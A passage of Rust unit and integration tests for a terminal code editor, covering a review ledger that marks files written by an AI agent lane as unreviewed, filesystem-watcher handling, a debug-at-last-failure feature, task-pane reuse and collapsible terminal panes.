    assert!(app.handle_scrubber_key(KeyCode::Left));
    assert!(app.handle_scrubber_key(KeyCode::Home));
    assert_eq!(
        app.scrubber.as_ref().unwrap().position(),
        crate::scrubber::Position::Working
    );

    // A key the scrubber does not use is NOT consumed, so it still means
    // whatever it meant before.
    assert!(
        !app.handle_scrubber_key(KeyCode::Char('x')),
        "an unrelated key must pass through"
    );
    assert!(app.scrubber.is_some(), "and must not close the scrubber");

    // Esc closes, and the live buffer is simply what is there — the
    // scrubber never replaced it, so closing cannot lose unsaved work.
    assert!(app.handle_scrubber_key(KeyCode::Esc));
    assert!(app.scrubber.is_none());
    // With no scrubber open, its keys are not consumed either.
    assert!(!app.handle_scrubber_key(KeyCode::Left));
}

/// #345: the Explorer's unreviewed dots track the ledger, on every path
/// that changes it.
///
/// The predicate and the painting are tested in `file_tree`; this is the
/// wiring between them, which is where a decoration feature actually breaks.
/// A dot that lags the ledger is worse than no dot at all, because "no dot"
/// is precisely what a reviewed file looks like — so a stale one tells the
/// user they have reviewed something they have not.
///
/// **The drain is driven for real, not stood in for.** An earlier version of
/// this test called `attribute_writes_to_working_agents` and then
/// `sync_agent_lane_decorations` by hand, which tests the helper and not the
/// wiring: deleting the drain's own sync left every assertion passing. Since
/// the drain is the path that fires on every agent write, that was the one
/// call site the feature cannot afford to have untested.
#[test]
fn the_explorer_dots_follow_the_agent_ledger() {
    let tmp = tempfile::tempdir().unwrap();
    let touched = tmp.path().join("touched.rs");
    std::fs::write(&touched, "fn a() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(
        app.tree.agent_touched.is_empty(),
        "staging: nothing decorated before an agent writes"
    );

    app.terminals[0].set_agent(Some(crate::agents::AgentLane {
        name: String::from("claude"),
        status: crate::agents::AgentStatus::Working,
    }));

    // Let the watcher establish itself first, as the other fs-watch tests
    // do: a write racing the initial registration is simply not delivered,
    // which would make this test flaky rather than wrong.
    for _ in 0..20 {
        let _ = app.drain_fs_events();
        std::thread::sleep(std::time::Duration::from_millis(10));
    }

    // Through the real drain: write the file, let the watcher deliver it,
    // and call the function the event loop calls. No explicit sync here —
    // that is the property under test.
    std::fs::write(&touched, "fn a() { todo!() }\n").unwrap();
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the watcher event to reach the tree",
        || {
            app.drain_fs_events();
            app.tree.agent_touched.contains(&touched)
        },
    );
    assert!(
        app.tree.agent_touched.contains(&touched),
        "the drain must light the row it attributed, without a nudge \
         (ledger has {} unreviewed)",
        app.agent_ledger.unreviewed_files()
    );
    assert!(app.tree.is_agent_touched(&touched));
    // The chip counts the set the tree draws. Asserted HERE, where both
    // sides are 1: after the lane is cleared below they are both 0, and an
    // equality that only ever compares 0 to 0 cannot fail.
    assert_eq!(
        app.agent_ledger.unreviewed_files(),
        app.tree.agent_touched.len(),
        "the badge and the dots must be the same number"
    );

    // Reviewing goes through the public entry point, which syncs itself.
    assert!(app.mark_agent_file_reviewed("claude", &touched));
    assert!(
        !app.tree.agent_touched.contains(&touched),
        "marking reviewed must clear the dot without a further nudge"
    );

    // Mark-the-whole-lane reviewed is the other syncing entry point.
    let mut changed = std::collections::BTreeSet::new();
    changed.insert(touched.clone());
    std::fs::write(&touched, "fn a() { 1 }\n").unwrap();
    assert!(app.attribute_writes_to_working_agents(&changed));
    app.sync_agent_lane_decorations();
    assert!(
        app.tree.agent_touched.contains(&touched),
        "staging: lit again"
    );
    app.mark_agent_lane_reviewed("claude");
    assert!(
        app.tree.agent_touched.is_empty(),
        "marking the lane reviewed must clear every dot"
    );
}

/// #345: a write reported through a symlinked root is still attributed.
///
/// Found by driving the real fs-watch drain rather than calling the
/// attribution helper directly. The watcher reports a file's REALPATH while
/// a root is stored as the user spelled it, so a workspace reached through a
/// symlink — `/var` on macOS, which is `/private/var`, and any symlinked
/// checkout on Linux — matched no root and every agent write was dropped.
/// The queue stayed empty and nothing failed, which is why a test that
/// substituted for the drain could not see it.
#[test]
#[cfg(unix)]
fn a_write_under_a_symlinked_root_is_still_the_agents() {
    let tmp = tempfile::tempdir().unwrap();
    let real = tmp.path().join("real");
    std::fs::create_dir(&real).unwrap();
    let link = tmp.path().join("link");
    std::os::unix::fs::symlink(&real, &link).unwrap();

    // The workspace is opened through the LINK; the file is written and
    // reported through the real path, as a watcher would.
    let via_link = link.join("f.rs");
    std::fs::write(&via_link, "fn a() {}\n").unwrap();
    let mut app = App::new(link.clone()).unwrap();
    app.terminals[0].set_agent(Some(crate::agents::AgentLane {
        name: String::from("claude"),
        status: crate::agents::AgentStatus::Working,
    }));

    let mut changed = std::collections::BTreeSet::new();
    changed.insert(real.join("f.rs"));
    assert!(
        app.attribute_writes_to_working_agents(&changed),
        "a realpath write under a symlinked root must still be attributed"
    );

    // And it is keyed the way the ROOT is spelled, so the Explorer's rows —
    // which come from the tree, not the watcher — find it.
    app.sync_agent_lane_decorations();
    assert!(
        app.tree.agent_touched.contains(&via_link),
        "the ledger keyed the row under the realpath, so no tree row matches \
         it: {:?}",
        app.tree.agent_touched
    );

    // And a DELETION clears it. `canonicalize` stats the final component, so
    // resolving the whole path fails on a file that is gone — which would
    // make the ledger's forget-path arm unreachable and strand the row on a
    // file that no longer exists, with no later write able to clear it. That
    // is strictly worse than the original bug, which dropped writes and
    // deletions alike and so at least stayed self-consistent.
    std::fs::remove_file(&via_link).unwrap();
    assert!(
        app.attribute_writes_to_working_agents(&changed),
        "a deletion reported by realpath must reach the ledger too"
    );
    app.sync_agent_lane_decorations();
    assert!(
        app.tree.agent_touched.is_empty(),
        "the row outlived the file it described: {:?}",
        app.tree.agent_touched
    );

    // The parent going too, which makes the walk climb more than one level.
    // A tail-reattachment bug hides here rather than in the single-level
    // case: the key the delete resolves to must still be the key the write
    // created, or `forget_path` finds nothing to forget.
    let sub = link.join("sub");
    std::fs::create_dir(&sub).unwrap();
    let nested = sub.join("g.rs");
    std::fs::write(&nested, "fn g() {}\n").unwrap();
    let mut deep = std::collections::BTreeSet::new();
    deep.insert(real.join("sub/g.rs"));
    assert!(app.attribute_writes_to_working_agents(&deep));
    app.sync_agent_lane_decorations();
    assert!(
        app.tree.agent_touched.contains(&nested),
        "staging: the nested file is queued"
    );

    std::fs::remove_dir_all(&sub).unwrap();
    assert!(
        app.attribute_writes_to_working_agents(&deep),
        "a deletion whose PARENT is gone must still resolve"
    );
    app.sync_agent_lane_decorations();
    assert!(
        app.tree.agent_touched.is_empty(),
        "the row outlived its whole directory: {:?}",
        app.tree.agent_touched
    );
}

/// #345: removing a workspace folder takes its review queue with it.
///
/// The rows leave the tree on their own, so no stale dot renders — but the
/// status chip counts the same set, and a count that outlives the folder it
/// describes sends the user hunting for rows that are not there.
#[test]
fn removing_a_folder_drops_its_rows_from_the_review_queue() {
    let primary = tempfile::tempdir().unwrap();
    let secondary = tempfile::tempdir().unwrap();
    let in_second = secondary.path().join("s.rs");
    std::fs::write(&in_second, "fn s() {}\n").unwrap();
    let mut app = App::new(primary.path().to_path_buf()).unwrap();
    app.roots.add(secondary.path().to_path_buf());

    app.terminals[0].set_agent(Some(crate::agents::AgentLane {
        name: String::from("claude"),
        status: crate::agents::AgentStatus::Working,
    }));
    let mut changed = std::collections::BTreeSet::new();
    changed.insert(in_second.clone());
    assert!(app.attribute_writes_to_working_agents(&changed));
    app.sync_agent_lane_decorations();
    assert_eq!(
        app.tree.agent_touched.len(),
        1,
        "staging: the secondary root's file is queued"
    );

    app.remove_workspace_folder(secondary.path().to_path_buf());
    assert!(
        app.tree.agent_touched.is_empty(),
        "the removed folder's rows outlived it: {:?}",
        app.tree.agent_touched
    );
    assert_eq!(app.agent_ledger.unreviewed_files(), 0);
}

/// #345: a re-root leaves no dots from the workspace the user left.
///
/// The paths in the set are ABSOLUTE, and Make Root's documented use is
/// re-rooting into a CHILD — where the new tree's paths are exactly the ones
/// still in the set. Left behind, every stale dot re-renders on the new tree
/// describing a lane that is gone, which is the precise staleness this
/// decoration exists to avoid.
#[test]
fn a_re_root_drops_the_previous_workspaces_review_queue() {
    let tmp = tempfile::tempdir().unwrap();
    let child = tmp.path().join("child");
    std::fs::create_dir(&child).unwrap();
    let inside = child.join("in_child.rs");
    std::fs::write(&inside, "fn a() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    app.terminals[0].set_agent(Some(crate::agents::AgentLane {
        name: String::from("claude"),
        status: crate::agents::AgentStatus::Working,
    }));
    let mut changed = std::collections::BTreeSet::new();
    changed.insert(inside.clone());
    assert!(app.attribute_writes_to_working_agents(&changed));
    app.sync_agent_lane_decorations();
    assert!(
        app.tree.agent_touched.contains(&inside),
        "staging: the file is decorated before the re-root"
    );

    // Re-root INTO the child: the file's absolute path is unchanged and it
    // is still on screen, so a surviving set would re-decorate it.
    app.change_workspace_root(child.clone());
    assert!(
        app.tree.agent_touched.is_empty(),
        "the Explorer kept the old workspace's dots: {:?}",
        app.tree.agent_touched
    );
    assert_eq!(
        app.agent_ledger.unreviewed_files(),
        0,
        "the ledger kept the old workspace's queue"
    );
    assert!(!app.tree.is_agent_touched(&inside));
}

/// #345: the agent lane attributes workspace writes to whichever agents
/// were WORKING when they landed, keeps a review baseline per file, and
/// never blames an agent for the user's own saves.
#[test]
fn the_agent_lane_ledger_attributes_writes_and_tracks_review_baselines() {
    let tmp = tempfile::tempdir().unwrap();
    let touched = tmp.path().join("touched.rs");
    std::fs::write(&touched, "fn a() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // With no agent working, a write belongs to the user: no lane at all.
    let mut changed = std::collections::BTreeSet::new();
    changed.insert(touched.clone());
    assert!(!app.attribute_writes_to_working_agents(&changed));
    assert!(app.agent_ledger.agents().is_empty());

    // Seat a WORKING agent in the pane, then replay the same write.
    app.terminals[0].set_agent(Some(crate::agents::AgentLane {
        name: String::from("claude"),
        status: crate::agents::AgentStatus::Working,
    }));
    assert_eq!(app.working_agents(), vec![String::from("claude")]);
    assert!(app.attribute_writes_to_working_agents(&changed));
    assert_eq!(app.agent_ledger.unreviewed_count("claude"), 1);
    assert!(app.agent_ledger.is_unreviewed(&touched));

    // A SECONDARY workspace root's files are attributed too: a multi-root
    // session must not have an empty queue for every folder but the first.
    let second = tempfile::tempdir().unwrap();
    let in_second = second.path().join("lib.rs");
    std::fs::write(&in_second, "fn b() {}\n").unwrap();
    app.roots.add(second.path().to_path_buf());
    let mut second_set = std::collections::BTreeSet::new();
    second_set.insert(in_second.clone());
    assert!(
        app.attribute_writes_to_working_agents(&second_set),
        "a write under a secondary root is still the agent's"
    );
    assert!(app.agent_ledger.is_unreviewed(&in_second));
    app.mark_agent_file_reviewed("claude", &in_second);

    // A file OUTSIDE the workspace is not this workspace's review queue.
    let outside = tempfile::tempdir().unwrap();
    let stray = outside.path().join("elsewhere.rs");
    std::fs::write(&stray, "x\n").unwrap();
    let mut outside_set = std::collections::BTreeSet::new();
    outside_set.insert(stray.clone());
    assert!(!app.attribute_writes_to_working_agents(&outside_set));
    assert!(!app.agent_ledger.is_unreviewed(&stray));

    // Reviewing baselines the content on disk NOW, so a later edit by the
    // user does not resurrect the row but a later agent write does.
    assert!(app.mark_agent_file_reviewed("claude", &touched));
    assert_eq!(app.agent_ledger.unreviewed_count("claude"), 0);
    std::fs::write(&touched, "fn a() { todo!() }\n").unwrap();
    assert!(app.attribute_writes_to_working_agents(&changed));
    assert_eq!(
        app.agent_ledger.unreviewed_count("claude"),
        1,
        "a fresh agent write re-queues the file"
    );

    // A file DELETED after its agent goes idle still leaves the queue: the
    // row would otherwise point at a file that is not there forever, since
    // a deleted file generates no later write to clear it.
    let later = tmp.path().join("later.rs");
    std::fs::write(&later, "fn c() {}\n").unwrap();
    let mut later_set = std::collections::BTreeSet::new();
    later_set.insert(later.clone());
    assert!(app.attribute_writes_to_working_agents(&later_set));
    assert!(app.agent_ledger.is_unreviewed(&later));
    app.terminals[0].set_agent(Some(crate::agents::AgentLane {
        name: String::from("claude"),
        status: crate::agents::AgentStatus::Idle,
    }));
    std::fs::remove_file(&later).unwrap();
    assert!(
        app.attribute_writes_to_working_agents(&later_set),
        "a deletion is processed with no agent working"
    );
    assert!(
        !app.agent_ledger.is_unreviewed(&later),
        "the row leaves rather than stranding"
    );
    app.terminals[0].set_agent(Some(crate::agents::AgentLane {
        name: String::from("claude"),
        status: crate::agents::AgentStatus::Working,
    }));

    // A QUIET agent stops being attributed: only Working counts.
    app.terminals[0].set_agent(Some(crate::agents::AgentLane {
        name: String::from("claude"),
        status: crate::agents::AgentStatus::Idle,
    }));
    assert!(app.working_agents().is_empty());
    std::fs::write(&touched, "fn a() { 1 }\n").unwrap();
    assert!(!app.attribute_writes_to_working_agents(&changed));

    // Mark-all clears the lane and says how much it cleared.
    assert_eq!(app.mark_agent_lane_reviewed("claude"), 1);
    assert!(
        app.status.contains("1 file marked reviewed"),
        "{}",
        app.status
    );
    assert_eq!(app.agent_ledger.total_unreviewed(), 0);
    assert_eq!(app.mark_agent_lane_reviewed("claude"), 0);
    assert!(app.status.contains("nothing waiting"), "{}", app.status);

    // The lane summary names each agent, its count, and any shared row.
    app.terminals[0].set_agent(Some(crate::agents::AgentLane {
        name: String::from("claude"),
        status: crate::agents::AgentStatus::Working,
    }));
    std::fs::write(&touched, "fn a() { 2 }\n").unwrap();
    assert!(app.attribute_writes_to_working_agents(&changed));
    app.run_command(crate::widgets::command_palette::Command::ShowAgentLane);
    assert!(
        app.status.contains("claude: 1 to review") && app.status.contains("touched.rs"),
        "{}",
        app.status
    );

    // "Mark this file reviewed" acts on the ACTIVE file, in every lane
    // holding it, and refuses when there is nothing waiting.
    app.editor.open_pinned(&touched).unwrap();
    app.run_command(crate::widgets::command_palette::Command::MarkAgentFileReviewed);
    assert!(
        app.status.contains("marked reviewed in 1 agent lane"),
        "{}",
        app.status
    );
    assert_eq!(app.agent_ledger.total_unreviewed(), 0);
    app.run_command(crate::widgets::command_palette::Command::MarkAgentFileReviewed);
    assert!(
        app.status.contains("No agent change waiting"),
        "{}",
        app.status
    );

    // The palette commands are registered.
    for (cmd, id) in [
        (
            crate::widgets::command_palette::Command::MarkAgentLaneReviewed,
            "agents_mark_reviewed",
        ),
        (
            crate::widgets::command_palette::Command::ShowAgentLane,
            "agents_show_lane",
        ),
        (
            crate::widgets::command_palette::Command::MarkAgentFileReviewed,
            "agents_mark_file_reviewed",
        ),
    ] {
        assert!(crate::widgets::command_palette::ALL_COMMANDS.contains(&cmd));
        assert_eq!(cmd.id(), id);
    }
}

/// #345: the watcher's three ledger-facing behaviours, driven through the
/// real drain rather than asserted about by reading it.
///
/// A rescan means events were DROPPED, so the queue is a lower bound and
/// the ledger must record that durably; a removed directory is not a file
/// and must not enter a file-only ledger; and a removed FILE must still be
/// reported, so the row can leave the queue.
#[test]
fn the_watcher_reports_rescans_and_keeps_directories_out_of_the_ledger() {
    use notify::Event as NotifyEvent;
    use notify::event::{EventKind, ModifyKind, RemoveKind};
    use notify_debouncer_full::DebouncedEvent;
    use std::sync::mpsc;

    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("touched.rs");
    std::fs::write(&file, "fn a() {}\n").unwrap();
    let doomed_dir = tmp.path().join("subdir");
    std::fs::create_dir(&doomed_dir).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].set_agent(Some(crate::agents::AgentLane {
        name: String::from("claude"),
        status: crate::agents::AgentStatus::Working,
    }));

    let (tx, rx) = mpsc::channel();
    app.fs_watch.set_test_events(rx);

    // A removed directory, a removed file, and an ordinary write.
    let mut dir_gone = NotifyEvent::new(EventKind::Remove(RemoveKind::Folder));
    dir_gone = dir_gone.add_path(doomed_dir.clone());
    let mut written = NotifyEvent::new(EventKind::Modify(ModifyKind::Any));
    written = written.add_path(file.clone());
    let now = std::time::Instant::now();
    tx.send(Ok(vec![
        DebouncedEvent::new(dir_gone, now),
        DebouncedEvent::new(written, now),
    ]))
    .unwrap();
    app.drain_fs_events();

    assert!(
        app.agent_ledger.is_unreviewed(&file),
        "the written file is attributed to the working agent"
    );
    assert!(
        !app.agent_ledger.is_unreviewed(&doomed_dir),
        "a removed DIRECTORY must not enter a file-only ledger"
    );
    assert!(
        !app.agent_ledger.may_be_incomplete(),
        "no rescan yet, so the queue is not a lower bound"
    );

    // A removed FILE that IS in a lane leaves it the moment the removal is
    // seen: a deleted file generates no later write, so a guard that
    // excluded its event would strand the row in the queue forever.
    let doomed = tmp.path().join("doomed.rs");
    std::fs::write(&doomed, "fn gone() {}\n").unwrap();
    let mut doomed_set = std::collections::BTreeSet::new();
    doomed_set.insert(doomed.clone());
    assert!(app.attribute_writes_to_working_agents(&doomed_set));
    assert!(app.agent_ledger.is_unreviewed(&doomed));
    std::fs::remove_file(&doomed).unwrap();
    let (tx3, rx3) = mpsc::channel();
    app.fs_watch.set_test_events(rx3);
    // `Any` is what kqueue, the Windows watcher and the poll fallback emit
    // for every removal, so this is the shape three of five backends send.
    let removed = NotifyEvent::new(EventKind::Remove(RemoveKind::Any)).add_path(doomed.clone());
    tx3.send(Ok(vec![DebouncedEvent::new(
        removed,
        std::time::Instant::now(),
    )]))
    .unwrap();
    app.drain_fs_events();
    assert!(
        !app.agent_ledger.is_unreviewed(&doomed),
        "the removed file's row leaves the queue rather than stranding"
    );

    // Now a rescan: the watcher overflowed and dropped events.
    let (tx2, rx2) = mpsc::channel();
    app.fs_watch.set_test_events(rx2);
    let rescan = NotifyEvent::new(EventKind::Modify(ModifyKind::Any))
        .add_path(file.clone())
        .set_flag(notify::event::Flag::Rescan);
    tx2.send(Ok(vec![DebouncedEvent::new(
        rescan,
        std::time::Instant::now(),
    )]))
    .unwrap();
    app.drain_fs_events();
    assert!(
        app.agent_ledger.may_be_incomplete(),
        "a rescan makes every count a lower bound, durably"
    );

    // And the doubt survives an unrelated status change, which is the
    // point of holding it in the ledger rather than the status line.
    app.status = String::from("something else entirely");
    assert!(app.agent_ledger.may_be_incomplete());
}

/// #373: "Debug This Test" breaks where the test last failed, without the
/// user setting a breakpoint — and takes that breakpoint back out when the
/// session ends, so it never outlives the run that asked for it.
#[test]
fn debugging_a_test_breaks_at_its_last_failure_and_cleans_up_after() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join("src")).unwrap();
    let src = tmp.path().join("src/lib.rs");
    std::fs::write(&src, "fn a() {}\nfn b() {}\nassert!(false);\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // The runner's output for a failing test, as it reaches the channel.
    crate::output::clear(crate::output::CHANNEL_TESTS);
    for line in [
        "---- tests::adds stdout ----",
        "thread 'tests::adds' panicked at src/lib.rs:3:5:",
        "assertion failed: false",
    ] {
        crate::output::push(
            crate::output::CHANNEL_TESTS,
            crate::output::OutputLevel::Info,
            line,
        );
    }

    let site = app
        .failure_site_of("tests::adds")
        .expect("the panic line names a place in the user's own code");
    assert_eq!(site.line, 3);
    assert_eq!(site.resolve(tmp.path()), Some((src.clone(), 3)));

    // Arming sets the breakpoint and says where.
    assert!(app.editor.breakpoints.is_empty());
    app.arm_failure_breakpoint("tests::adds", tmp.path());
    assert_eq!(
        app.editor.breakpoints.get(&src).map(|l| l.contains(&3)),
        Some(true),
        "the assertion's line carries a breakpoint the user never set"
    );
    // The note rides on whichever launch message the user actually sees:
    // setting it as the status here would be overwritten moments later.
    assert!(
        app.with_failure_note(String::from("Building"))
            .contains("breaking at lib.rs:3 where it last failed"),
        "{}",
        app.with_failure_note(String::from("Building"))
    );

    // Disarming takes back exactly that one, leaving no empty entry, and
    // drops the note with it.
    app.disarm_failure_breakpoint();
    assert_eq!(app.with_failure_note(String::from("Building")), "Building");
    assert!(
        app.editor.breakpoints.is_empty(),
        "the temporary breakpoint does not outlive its session"
    );

    // A breakpoint the USER set at the same line is theirs: arming must not
    // adopt it, and disarming must not delete their work.
    app.editor
        .breakpoints
        .entry(src.clone())
        .or_default()
        .insert(3);
    app.arm_failure_breakpoint("tests::adds", tmp.path());
    app.disarm_failure_breakpoint();
    assert_eq!(
        app.editor.breakpoints.get(&src).map(|l| l.contains(&3)),
        Some(true),
        "the user's own breakpoint survives a debug session that shared its line"
    );
    app.editor.breakpoints.clear();

    // A failure in a dependency names nothing actionable, so nothing is set.
    crate::output::clear(crate::output::CHANNEL_TESTS);
    for line in [
        "---- tests::deps stdout ----",
        "thread 'tests::deps' panicked at /Users/me/.cargo/registry/src/x-1.0/lib.rs:9:1:",
    ] {
        crate::output::push(
            crate::output::CHANNEL_TESTS,
            crate::output::OutputLevel::Info,
            line,
        );
    }
    assert!(app.failure_site_of("tests::deps").is_none());
    app.arm_failure_breakpoint("tests::deps", tmp.path());
    assert!(
        app.editor.breakpoints.is_empty(),
        "a location inside a dependency is not offered as a breakpoint"
    );

    // The palette carries the command that reaches all of this.
    assert!(
        crate::widgets::command_palette::ALL_COMMANDS
            .contains(&crate::widgets::command_palette::Command::DebugTestAtCursor)
    );
}

/// #373: the site must be found in AUTHENTIC runner output, summary and
/// all. libtest reprints every failing test's name in a trailing
/// `failures:` block, so a scan anchored on "the last line mentioning the
/// name" lands after every stdout block and finds nothing — the feature
/// silently does nothing for the ecosystem it was written for. This is
/// the regression test for that.
#[test]
fn the_failure_site_survives_a_whole_cargo_test_run() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join("src")).unwrap();
    std::fs::write(tmp.path().join("src/lib.rs"), "a\nb\nc\n").unwrap();
    std::fs::write(tmp.path().join("src/other.rs"), "x\ny\nz\n").unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();

    crate::output::clear(crate::output::CHANNEL_TESTS);
    for line in [
        "   Compiling demo v0.1.0",
        "    Finished test profile [unoptimized + debuginfo]",
        "     Running unittests src/lib.rs",
        "",
        "running 2 tests",
        "test tests::adds_two ... FAILED",
        "test tests::adds ... FAILED",
        "",
        "failures:",
        "",
        "---- tests::adds_two stdout ----",
        "thread 'tests::adds_two' panicked at src/other.rs:2:5:",
        "assertion `left == right` failed",
        "",
        "---- tests::adds stdout ----",
        "thread 'tests::adds' panicked at src/lib.rs:3:5:",
        "assertion failed: false",
        "note: run with `RUST_BACKTRACE=1` to display a backtrace",
        "",
        "failures:",
        "    tests::adds",
        "    tests::adds_two",
        "",
        "test result: FAILED. 0 passed; 2 failed; 0 ignored; 0 measured",
    ] {
        crate::output::push(
            crate::output::CHANNEL_TESTS,
            crate::output::OutputLevel::Info,
            line,
        );
    }

    // The trailing summary must not swallow the block, and each test must
    // get ITS OWN assertion — not the other's.
    let adds = app
        .failure_site_of("tests::adds")
        .expect("the site survives the summary that follows every block");
    assert_eq!(
        (adds.file.to_string_lossy().into_owned(), adds.line),
        (String::from("src/lib.rs"), 3)
    );
    let two = app
        .failure_site_of("tests::adds_two")
        .expect("and so does the other test's");
    assert_eq!(
        (two.file.to_string_lossy().into_owned(), two.line),
        (String::from("src/other.rs"), 2),
        "a name that is a PREFIX of another must not borrow its block"
    );

    // And a test that did not fail has no block at all.
    assert!(app.failure_site_of("tests::passes").is_none());
}

/// #430: a task must not be typed into a pane whose shell has walked away
/// from the task's directory.
///
/// Both defects lived in `run_project_task`'s copy of a guard that #392
/// fixed only on the runnable-fence side: `starts_with` accepted any
/// DESCENDANT, so a shell that had `cd`'d into a subdirectory was reused
/// and the task ran there. The two callers now share `pane_is_idle_at`,
/// so a correction cannot land on one and miss the other.
#[test]
fn a_task_pane_whose_shell_left_the_directory_is_not_reused() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("Makefile"), "build:\n\ttrue\n").unwrap();
    std::fs::create_dir_all(tmp.path().join("sub")).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let chord = key(
        KeyCode::Char('B'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    );
    app.handle_key(chord).unwrap();

    // Wait for the pane's shell to reach its prompt, as the reuse path
    // requires an idle pane.
    let root = tmp.path().canonicalize().unwrap();
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(10),
        "the task pane's shell",
        || {
            let t = &app.terminals[app.active_terminal];
            t.foreground_is_shell() && t.kernel_shell_cwd() == Some(root.clone())
        },
    );
    let idx = app.active_terminal;
    let label = app.terminals[idx].label().to_string();
    // The control: standing in the task's own directory, the pane IS this
    // task's pane.
    assert!(
        pane_is_idle_at(&app.terminals[idx], &label, &root),
        "precondition: an idle pane at the task's own directory is reusable"
    );

    // Now walk the shell into a subdirectory, as a user reading a log or
    // poking at a subcrate would.
    app.terminals[idx].write_input(b"cd sub\r");
    let sub = root.join("sub");
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(10),
        "the shell to enter the subdirectory",
        || app.terminals[idx].kernel_shell_cwd() == Some(sub.clone()),
    );

    assert!(
        !pane_is_idle_at(&app.terminals[idx], &label, &root),
        "a shell that has left the task's directory is not the task's pane: \
         `starts_with` accepted any descendant and ran the task in `sub`"
    );

    // And the whole path agrees: rerunning opens a fresh pane at the right
    // directory rather than typing into the one that walked away.
    let before = app.terminals.len();
    app.handle_key(chord).unwrap();
    assert_eq!(
        app.terminals.len(),
        before + 1,
        "the task gets a pane standing where it will actually run"
    );
}

/// #430: "moved away" and "unknowable" are different, and only the first
/// is a reason to refuse.
///
/// Tested through the pure `cwd_matches` rather than through a live pane,
/// so BOTH arms execute on every platform. The previous version of this
/// test wrapped its headline assertion in `if kernel_shell_cwd().is_none()`
/// — false on macOS and Linux, so the assertion never ran anywhere the
/// suite runs, and reverting the fix would have left it green.
#[test]
fn an_unknowable_cwd_still_allows_reuse_but_a_wrong_one_does_not() {
    let root = Path::new("/w/a");

    // Read and equal: this command's pane.
    assert!(cwd_matches(Some(Path::new("/w/a")), root, true));
    // Read and different: the shell wandered off. A DESCENDANT is the
    // #430 defect specifically — `starts_with` accepted it.
    assert!(!cwd_matches(Some(Path::new("/w/a/sub")), root, true));
    assert!(!cwd_matches(Some(Path::new("/w/b")), root, true));
    // Unreadable where the platform CAN read one: the failure the guard
    // exists for, so it stays closed.
    assert!(!cwd_matches(None, root, true));
    // Unreadable because the platform can never read one (Android): a
    // closed guard would stack a new pane on every single run.
    assert!(cwd_matches(None, root, false));
    // And a platform that cannot observe still refuses a cwd it somehow
    // did read and that differs — the capability is not a blanket pass.
    assert!(!cwd_matches(Some(Path::new("/w/a/sub")), root, false));

    // The label half of the predicate, on a real pane.
    let tmp = tempfile::tempdir().unwrap();
    let real_root = tmp.path().canonicalize().unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(!pane_is_idle_at(
        &app.terminals[0],
        "Task: nonexistent",
        &real_root
    ));
}

// ---------------------------------------------------------------------------
// #313: collapsing terminal panes.
// ---------------------------------------------------------------------------

/// Split to `n` panes and render once at a size wide enough for every pane to
/// carry its full header strip.
fn app_with_terminal_panes(
    n: usize,
) -> (
    tempfile::TempDir,
    App,
    ratatui::Terminal<ratatui::backend::TestBackend>,
) {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for _ in 1..n {
        app.split_terminal().unwrap();
    }
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(160, 30)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    (tmp, app, term)
}

#[test]
fn collapsed_panes_keep_one_column_and_the_rest_divide_what_is_left() {
    // The apportioning is the whole of the layout risk, so it is measured
    // against real solved widths rather than eyeballed off a constraint list.
    let solve = |flags: &[bool], width: u16| -> Vec<u16> {
        Layout::default()
            .direction(Direction::Horizontal)
            .constraints(terminal_pane_constraints(flags))
            .split(Rect {
                x: 0,
                y: 0,
                width,
                height: 10,
            })
            .iter()
            .map(|r| r.width)
            .collect()
    };

    // Nothing collapsed: the even split croft had before the feature existed.
    assert_eq!(solve(&[false; 4], 100), vec![25, 25, 25, 25]);

    // Two collapsed: one column each, and the two still open divide the 98
    // that leaves. This is the assertion `Ratio(1, k)` fails - it would ask
    // for 50 columns apiece out of the FULL 100 while the strips also want
    // theirs, and the solver settles the overflow by shaving the panes.
    let widths = solve(&[false, true, true, false], 100);
    assert_eq!(
        widths,
        vec![49, 1, 1, 49],
        "collapsed panes cost one column"
    );
    assert_eq!(widths.iter().sum::<u16>(), 100, "the row is fully spent");

    // The gain is the point: 25 columns each becomes 49.
    assert!(
        widths[0] > solve(&[false; 4], 100)[0],
        "collapsing must actually hand width to the panes still open"
    );
}

#[test]
fn the_minus_button_still_closes_and_the_chevron_collapses() {
    // The ruling on #313: `-` keeps meaning close, and collapse is its own
    // button. These are one test because the whole risk is the two being
    // confused - a build where `-` folded instead of closing would pass any
    // test that only exercised one of them.
    let (_tmp, mut app, _term) = app_with_terminal_panes(3);

    let fold = app.terminal_collapse_buttons[1];
    assert!(fold.width > 0, "the collapse button must be painted");
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        fold.x + 1,
        fold.y,
    ));
    assert_eq!(app.terminals.len(), 3, "collapsing must never close a pane");
    assert!(app.terminals[1].collapsed, "the clicked pane folded");

    let close = app.terminal_close_buttons[0];
    assert!(close.width > 0, "the close button must be painted");
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        close.x + 1,
        close.y,
    ));
    assert_eq!(
        app.terminals.len(),
        2,
        "`-` still closes the pane - it was NOT repurposed to collapse"
    );
}

#[test]
fn clicking_a_collapsed_strip_gives_the_pane_its_width_back() {
    let (_tmp, mut app, mut term) = app_with_terminal_panes(3);
    app.toggle_terminal_collapse(2);
    term.draw(|f| app.render(f)).unwrap();

    let strip = app.terminal_strip_rects[2];
